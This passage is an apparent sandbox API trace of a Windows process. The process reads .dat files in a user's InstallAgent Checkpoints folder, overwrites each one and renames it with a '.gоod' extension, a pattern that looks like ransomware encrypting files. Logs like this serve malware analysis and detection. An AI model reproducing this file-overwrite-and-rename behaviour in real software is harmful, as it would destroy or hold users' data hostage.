(lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat.gоod")) returned 1 [0219.150] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat", lpFilePart=0x0) returned 0x51 [0219.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0219.150] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat"), fInfoLevelId=0x0, lpFileInformation=0x3653588 | out: lpFileInformation=0x3653588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e790b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa2e790b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa2e790b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd)) returned 1 [0219.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0219.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat", lpFilePart=0x0) returned 0x51 [0219.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0219.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0219.151] GetFileType (hFile=0x824) returned 0x1 [0219.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0219.151] GetFileType (hFile=0x824) returned 0x1 [0219.151] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1cd [0219.151] ReadFile (in: hFile=0x824, lpBuffer=0x3653a40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3653a40*, lpNumberOfBytesRead=0x207ec5c8*=0x1cd, lpOverlapped=0x0) returned 1 [0219.152] CloseHandle (hObject=0x824) returned 1 [0219.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat", lpFilePart=0x0) returned 0x51 [0219.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0219.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0219.182] GetFileType (hFile=0x824) returned 0x1 [0219.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0219.182] GetFileType (hFile=0x824) returned 0x1 [0219.182] WriteFile (in: hFile=0x824, lpBuffer=0x36cca70*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36cca70*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0219.183] CloseHandle (hObject=0x824) returned 1 [0219.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat", lpFilePart=0x0) returned 0x51 [0219.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat.gоod", lpFilePart=0x0) returned 0x56 [0219.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0219.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e790b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa2e790b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x7edad2b4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0219.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0219.183] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH42THS.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh42ths.dat.gоod")) returned 1 [0219.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat", lpFilePart=0x0) returned 0x51 [0219.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0219.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat"), fInfoLevelId=0x0, lpFileInformation=0x36cdd48 | out: lpFileInformation=0x36cdd48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1dca08, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa1dca08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa1dca08, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cc)) returned 1 [0219.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0219.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat", lpFilePart=0x0) returned 0x51 [0219.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0219.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0219.184] GetFileType (hFile=0x824) returned 0x1 [0219.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0219.185] GetFileType (hFile=0x824) returned 0x1 [0219.185] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1cc [0219.185] ReadFile (in: hFile=0x824, lpBuffer=0x36ce200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x36ce200*, lpNumberOfBytesRead=0x207ec5c8*=0x1cc, lpOverlapped=0x0) returned 1 [0219.408] CloseHandle (hObject=0x824) returned 1 [0219.631] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat", lpFilePart=0x0) returned 0x51 [0219.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0219.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0219.632] GetFileType (hFile=0x478) returned 0x1 [0219.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0219.632] GetFileType (hFile=0x478) returned 0x1 [0219.632] WriteFile (in: hFile=0x478, lpBuffer=0x37c4c98*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x37c4c98*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0219.633] CloseHandle (hObject=0x478) returned 1 [0219.633] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat", lpFilePart=0x0) returned 0x51 [0219.633] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat.gоod", lpFilePart=0x0) returned 0x56 [0219.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0219.633] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1dca08, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa1dca08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x7f1ff6d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0219.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0219.633] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4LS1F.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4ls1f.dat.gоod")) returned 1 [0219.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat", lpFilePart=0x0) returned 0x51 [0219.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0219.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat"), fInfoLevelId=0x0, lpFileInformation=0x37c5f70 | out: lpFileInformation=0x37c5f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa333d55, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa333d55, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa333d55, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cf)) returned 1 [0219.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0219.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat", lpFilePart=0x0) returned 0x51 [0219.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0219.634] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0219.635] GetFileType (hFile=0x478) returned 0x1 [0219.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0219.635] GetFileType (hFile=0x478) returned 0x1 [0219.635] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1cf [0219.635] ReadFile (in: hFile=0x478, lpBuffer=0x37c6428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x37c6428*, lpNumberOfBytesRead=0x207ec5c8*=0x1cf, lpOverlapped=0x0) returned 1 [0219.973] CloseHandle (hObject=0x478) returned 1 [0221.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat", lpFilePart=0x0) returned 0x51 [0221.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0221.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.375] GetFileType (hFile=0x85c) returned 0x1 [0221.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0221.375] GetFileType (hFile=0x85c) returned 0x1 [0221.375] WriteFile (in: hFile=0x85c, lpBuffer=0x3771e08*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3771e08*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0221.409] CloseHandle (hObject=0x85c) returned 1 [0221.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat", lpFilePart=0x0) returned 0x51 [0221.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat.gоod", lpFilePart=0x0) returned 0x56 [0221.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0221.409] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa333d55, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa333d55, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x802ec1f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0221.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0221.409] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4NNS1.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4nns1.dat.gоod")) returned 1 [0221.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat", lpFilePart=0x0) returned 0x51 [0221.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0221.410] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat"), fInfoLevelId=0x0, lpFileInformation=0x3802270 | out: lpFileInformation=0x3802270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3801a9, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3801a9, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3801a9, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0221.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0221.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat", lpFilePart=0x0) returned 0x51 [0221.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0221.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.410] GetFileType (hFile=0x85c) returned 0x1 [0221.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0221.410] GetFileType (hFile=0x85c) returned 0x1 [0221.410] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1d0 [0221.410] ReadFile (in: hFile=0x85c, lpBuffer=0x3802728, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3802728*, lpNumberOfBytesRead=0x207ec5c8*=0x1d0, lpOverlapped=0x0) returned 1 [0221.411] CloseHandle (hObject=0x85c) returned 1 [0221.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat", lpFilePart=0x0) returned 0x51 [0221.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0221.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.442] GetFileType (hFile=0x85c) returned 0x1 [0221.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0221.442] GetFileType (hFile=0x85c) returned 0x1 [0221.442] WriteFile (in: hFile=0x85c, lpBuffer=0x387b848*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x387b848*, lpNumberOfBytesWritten=0x207ec4d8*=0x1e0, lpOverlapped=0x0) returned 1 [0221.443] CloseHandle (hObject=0x85c) returned 1 [0221.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat", lpFilePart=0x0) returned 0x51 [0221.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat.gоod", lpFilePart=0x0) returned 0x56 [0221.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0221.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3801a9, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3801a9, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x803386ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0221.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0221.443] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4QGHW.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4qghw.dat.gоod")) returned 1 [0221.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat", lpFilePart=0x0) returned 0x51 [0221.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0221.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" 